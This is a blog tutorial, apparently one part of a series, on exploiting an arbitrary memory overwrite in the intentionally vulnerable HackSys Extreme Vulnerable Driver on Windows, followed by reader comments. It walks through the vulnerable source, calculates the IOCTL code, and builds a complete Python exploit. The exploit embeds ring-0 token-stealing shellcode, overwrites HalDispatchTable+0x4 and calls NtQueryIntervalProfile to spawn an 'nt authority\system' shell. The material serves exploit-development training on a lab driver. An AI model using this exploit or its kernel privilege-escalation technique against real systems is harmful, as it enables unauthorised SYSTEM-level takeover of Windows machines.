Overview
In the previous part, we looked into exploiting a basic kernel stack overflow vulnerability.
This part will focus on another vulnerability, Arbitrary Memory Overwrite, also known as Write-What-Where vulnerability. Basic exploitation concept for this would be to overwrite a pointer in a Kernel Dispatch Table (Where) with the address to our shellcode (What).
Again, thanks to @hacksysteam for the driver and @FuzzySec for the awesome writeup on the subject.
Analysis
To analyze the vulnerability, let’s look into the ArbitraryOverwrite.c file in the source code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
#ifdef SECURE // Secure Note: This is secure because the developer is properly validating if address // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead() // routine before performing the write operation ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR)); ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR)); *(Where) = *(What); #else DbgPrint("[+] Triggering Arbitrary Overwrite\n"); // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability // because the developer is writing the value pointed by 'What' to memory location // pointed by 'Where' without properly validating if the values pointed by 'Where' // and 'What' resides in User mode *(Where) = *(What); |
Again, a really good job in explaining the vulnerability and the fix as well. The issue here is the lack of validation of the two pointers (what and where), whether they reside in user space or kernel space. The secure version properly checks if both the pointers reside in the User Space or not using the ProbeForRead function.
Now that we understand the vulnerability, we need the IOCTL code to trigger it as well. In the previous part, we just looked into the IrpDeviceIoCtlHandler call for the IOCTL code. But this time, we’d look into the HackSysExtremeVulnerableDriver.h file for all the codes and calculate the IOCTL code from it.
1 |
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) |
The CTL_CODE macro is used to create a unique system IOCTL, and from the above macro, we can calculate the IOCTL in python by running the following command:
1 |
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003) |
This should give you IOCTL of 0x22200b.
Now, let’s analyze the TriggerArbitraryOverwrite function in IDA:
The thing to note here is the length of 8 bytes. First 4 bytes being the What, and the next 4 bytes to be the Where.
Exploitation
Let’s get to the fun part now. We’ll take the skeleton script from our previous part, modify the IOCTL and see if it works.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) buf = "A"*100 bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x22200b, buf, bufLength, None, 0, byref(c_ulong()), None) if __name__ == "__main__": main() |
Working fine. Now let’s start building our exploit.
The first step to exploit this vulnerability is to find some address in kernel space to overwrite safely and reliably, without crashing the machine. Luckily, there’s a rarely used function in the kernel NtQueryIntervalProfile, that calls another function KeQueryIntervalProfile, which again calls HalDispatchTable+0x4.
I know it’s confusing, but a really good readup on the matter is available at poppopret blog, that accurately summarises the flow of the execution for the exploitation:
- Load the kernel executive ntkrnlpa.exe in userland in order to be able to get the offset of HalDispatchTable and then to deduce its address in kernelland.
- Retrieve the address of our shellcode.
- Retrieve the address of the syscall NtQueryIntervalProfile() within ntdll.dll.
- Overwrite the pointer at nt!HalDispatchTable+0x4 with the address of our shellcode function.
- Call the function NtQueryIntervalProfile() in order to launch the shellcode
Let’s analyze the flow to nt!HalDispatchTable+0x4 by disassembling the NtQueryIntervalProfile function:
Let’s go into the KeQueryIntervalProfile call:
This is the pointer that we need to overwrite, so that it points to our shellcode. In summary, if we overwrite this pointer, and call the NtQueryIntervalProfile, the execution flow should land onto our shellcode.
Simple enough, we’d proceed with building our exploit step by step.
First, we would enumerate the load address for all the device drivers. For this, we’d use the EnumDeviceDrivers function. Then we’dĀ find the base name of the drivers through GetDeviceDriverBaseNameA function. And fetch the base name and address for ntkrnlpa.exe.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
#Enumerating load addresses for all device drivers enum_base = (c_ulong * 1024)() enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long())) if not enum: print "Failed to enumerate!!!" sys.exit(-1) for base_address in enum_base: if not base_address: continue base_name = c_char_p('\x00' * 1024) driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48) if not driver_base_name: print "Unable to get driver base name!!!" sys.exit(-1) if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower(): base_name = base_name.value print "[+] Loaded Kernel: {0}".format(base_name) print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address)) break |
Now we have the base name and address of ntkrnlpa.exe, let’s calculate the address of HalDispatchTable. We’d load the ntkrnlpa.exe into the memory through LoadLibraryExA function, and then get the address for HalDispatchTable through the GetProcAddress function.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001) if not kernel_handle: print "Unable to get Kernel Handle" sys.exit(-1) hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable') # Subtracting ntkrnlpa base in user space hal_address -= kernel_handle # To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in kernel space hal_address += base_address # Just add 0x4 to HAL address for HalDispatchTable+0x4 hal4 = hal_address + 0x4 print "[+] HalDispatchTable : {0}".format(hex(hal_address)) print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4)) |
Final step is to define our What-Where:
- What –> Address to our shellcode
- Where –> HalDispatchTable+0x4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
class WriteWhatWhere(Structure): _fields_ = [ ("What", c_void_p), ("Where", c_void_p) ] #What-Where www = WriteWhatWhere() www.What = shellcode_final_address www.Where = hal4 www_pointer = pointer(www) print "[+] What : {0}".format(hex(www.What)) print "[+] Where: {0}".format(hex(www.Where)) |
Combining all of the above, with our shellcode taken from the previous part (the token stealing one), the final exploit looks like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 |
import ctypes, sys, struct from ctypes import * from subprocess import * class WriteWhatWhere(Structure): _fields_ = [ ("What", c_void_p), ("Where", c_void_p) ] def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll #Defining the ring0 shellcode and loading it in VirtualAlloc. shellcode = bytearray( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x31\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124] "\x8b\x40\x50" # mov eax,[eax+0x50] "\x89\xc1" # mov ecx,eax "\xba\x04\x00\x00\x00" # mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8] "\x2d\xb8\x00\x00\x00" # sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx "\x75\xed" # jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8] "\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx "\x61" # popad "\x31\xc0" # xor eax,eax "\x83\xc4\x24" # add esp,byte +0x24 "\x5d" # pop ebp "\xc2\x08\x00" # ret 0x8 ) ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40)) buff = (c_char * len(shellcode)).from_buffer(shellcode) kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode))) shellcode_address = id(shellcode) + 20 shellcode_final = struct.pack("<L",ptr) shellcode_final_address = id(shellcode_final) + 20 print "[+] Address of ring0 shellcode: {0}".format(hex(shellcode_address)) print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_final_address)) #Enumerating load addresses for all device drivers, and fetching base address and name for ntkrnlpa.exe enum_base = (c_ulong * 1024)() enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long())) if not enum: print "Failed to enumerate!!!" sys.exit(-1) for base_address in enum_base: if not base_address: continue base_name = c_char_p('\x00' * 1024) driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48) if not driver_base_name: print "Unable to get driver base name!!!" sys.exit(-1) if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower(): base_name = base_name.value print "[+] Loaded Kernel: {0}".format(base_name) print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address)) break #Getting the HalDispatchTable kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001) if not kernel_handle: print "Unable to get Kernel Handle" sys.exit(-1) hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable') # Subtracting ntkrnlpa base in user space hal_address -= kernel_handle # To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in kernel space hal_address += base_address # Just add 0x4 to HAL address for HalDispatchTable+0x4 hal4 = hal_address + 0x4 print "[+] HalDispatchTable : {0}".format(hex(hal_address)) print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4)) #What-Where www = WriteWhatWhere() www.What = shellcode_final_address www.Where = hal4 www_pointer = pointer(www) print "[+] What : {0}".format(hex(www.What)) print "[+] Where: {0}".format(hex(www.Where)) hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) kernel32.DeviceIoControl(hevDevice, 0x0022200B, www_pointer, 0x8, None, 0, byref(c_ulong()), None) #Calling the NtQueryIntervalProfile function, executing our shellcode ntdll.NtQueryIntervalProfile(0x1337, byref(c_ulong())) print "[+] nt authority\system shell incoming" Popen("start cmd", shell=True) if __name__ == "__main__": main() |
Run this, and enjoy a freshly brewed nt authority\system shell:
Very good article.
Thanks ?
First of all, I want to thank you for this awasome post. They are really helpful, and I’m learning a lot.
But I didn’t get why did you sum 20 to the shell code address? (line 40 and 42).
Thanks!
id function in python returns the long int equivalent of the address of the variable. The address has certain space for the variable name, value.
If you analyze it in a debugger, you’d see that a variable’s value (shellcode in this case) would always begin at an offset of 20 from the value returned by id.
That’s why we do id(ptr) + 20 to directly call the address for our shellcode.
Kernel patch protection?